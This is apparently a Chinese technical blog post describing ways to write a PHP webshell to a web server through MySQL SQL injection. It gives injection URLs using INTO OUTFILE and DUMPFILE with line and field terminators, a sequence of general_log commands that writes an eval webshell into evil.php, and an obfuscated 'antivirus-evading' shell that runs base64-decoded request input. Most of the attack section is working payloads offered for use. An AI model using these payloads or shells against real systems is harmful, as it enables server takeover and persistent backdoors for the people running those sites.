mysql注入 outfile_sql注入之文件写入into outfile

sql注入中写入webshell的几种方式

sql注入中写入webshell的几种方式

secure_file_priv="c:/…"被注释掉或者是web路径

php.ini中的get_magic_quotes_gpc()函数未开启

其中secure_file_priv有三种情况

空,表示导入导出没有任何限制

有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件

null,禁止导入导出

在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限

0x01

Union select后写入

union select+into outfile

?id=1')) union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php

95b3a0c0be5e0d3c6919e0651e92de18.png

a866df518d18f2380edc5804d1f2f06f.png

Ps:目录分隔符要用斜杠(/)

union select+into dumpfile

outfile与dumpfile有一定的区别

eg:假设有一个二进制文件,如果用outfile导入,则在导出过程中会被转义从而被破坏,这是只能使用dumpfile函数

Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理

0x02

Lines terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by ''--+

b3c7e70e55b009c08d69316c748d89de.png

053976b0a57ec7bd0c89504518b599cb.png

注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。

可以理解为:以每行终止的位置添加xx内容

0x03

Lines starting by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by ''--+

e47fa1aef03e353391c0730a17428ad5.png

Lines starting by 以每行开始的位置添加xx内容

0x04

Fields terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by ''--+

e711d5d453a59358ba3cbd2dc79ef68a.png

Fields terminated by 每个字段的间隔中插入xx内容

0x05

Columns terminated by

?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by ''--+

b0f322c043f3cea477f3feee49b624d2.png

Columns terminated by 每个字段的位置添加xx内容

0x06

利用log写入

当无法使用select into outfile写入一句话时,可以通过修改mysql的log文件getshell

(必须获得mysql的root权限)

show variables like '%general%'; #查看配置

set global general_log = on; #开启general log模式

set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址

select '<?php eval($_GET[g]);?>' #写入shell

set global general_log=off; #关闭general log模式

2ec82b24a884cab697d0999f8df922e4.png

4fb77db403a1ddfd3153db422ab77bb9.png

流程:

1.开启general log模式

2.修改log根地址

3.写入shell

开启general log模式后,只要是对mysql进行操作的语句都会在log中有记录,修改log根地址后,写入一句话shell就可以利用相对路径

921026d2322f4cb3e378b47b3d0bf61c.png

附:

sql查询免杀shell语句

SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值